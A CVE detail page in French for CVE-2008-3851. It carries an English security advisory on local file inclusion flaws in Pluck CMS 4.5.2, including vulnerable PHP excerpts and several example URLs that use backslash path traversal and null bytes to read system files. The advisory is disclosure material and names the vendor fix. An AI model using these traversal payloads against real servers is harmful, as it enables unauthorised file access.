CVE-2008-3851 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-037 Application: Pluck CMS Versions Affected: 4.5.2 Vendor URL: http://www.pluck-cms.org/ Bug: Multiple Local File Include Exploits: YES Reported: 28.07.2008 Vendor Response: 03.08.2008 Solution: YES Date of Public Advisory: 25.08.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Pluck CMS has Multiple Local File Include vulnerabilities. Details ******* 1. Local File Include vulnerabilities found in script data/inc/themes/predefined_variables.php Vulnerable GET parameters "blogpost", "cat" and "file". First discovered by AmnPardaz Security Research Team [http://www.bugreport.ir/index_48.htm]. Vendor fixed vulnerability in version 4.5.2 by blocking directly access to this file [http://www.pluck-cms.org/releasenotes.php#4.5.2]. However, attacker still can exploit this vulnerability from index.php file. Code [line 15-46] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Include Translation data include ("data/settings/langpref.php"); include ("data/inc/lang/$langpref"); //Get Site-title $sitetitle = file_get_contents("data/settings/title.dat"); //Get the page-data $filetoread = $_GET['file']; $album = $_GET['album']; $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; if (($filetoread) && (file_exists("data/content/$filetoread"))) { include "data/content/$filetoread"; } elseif ($album) { $title = $album; } elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) { include("data/blog/$cat/posts/$blogpost"); } elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) { $title = $lang_front1; $content = $lang_front2; } ################################################# Pluck CMS has security module that checks for hacking attempts and blocks them. Code ---- ################################################# //Remote File Inclusion //Check for strange characters in $_GET keys //All keys with "/" or ":" are blocked, so it becomes virtually impossible to inject other pages or websites foreach ($_GET as $get_key => $get_value) { if ((ereg("/", $get_value)) || (ereg(":", $get_value))) { eval("unset(\${$get_key});"); die("A hacking attempt has been detected. For security reasons, we're blocking any code execution."); } } ################################################# This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 2. Local File Include vulnerabilities found in script data/inc/blog_include_react.php Vulnerable GET parameters "blogpost" and "cat". Code [line 15-30] ----------------- ################################################# //Make sure the file isn't accessed directly if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){ //Give out an "access denied" error echo "access denied"; //Block all other code exit(); } //Predefined variable $blogpost = $_GET['blogpost']; $cat = $_GET['cat']; $pageback = $_GET['pageback']; list($reactiondir, $extension) = explode(".", $blogpost); //Include the blogpost include("data/blog/$cat/posts/$blogpost"); ################################################# Attacker can exploit vulnerability from index.php file. This vulnerability can be exploited only on systems that accept backslash as a path separator. Example: http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 Solution ******** Vendor fix this flaw on 22.08.2008. New version of Pluck CMS 4.5.3 can be download here: http://www.pluck-cms.org/download.php Release notes: http://www.pluck-cms.org/releasenotes.php#4.5.3 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) # milw0rm.com [2008-08-25]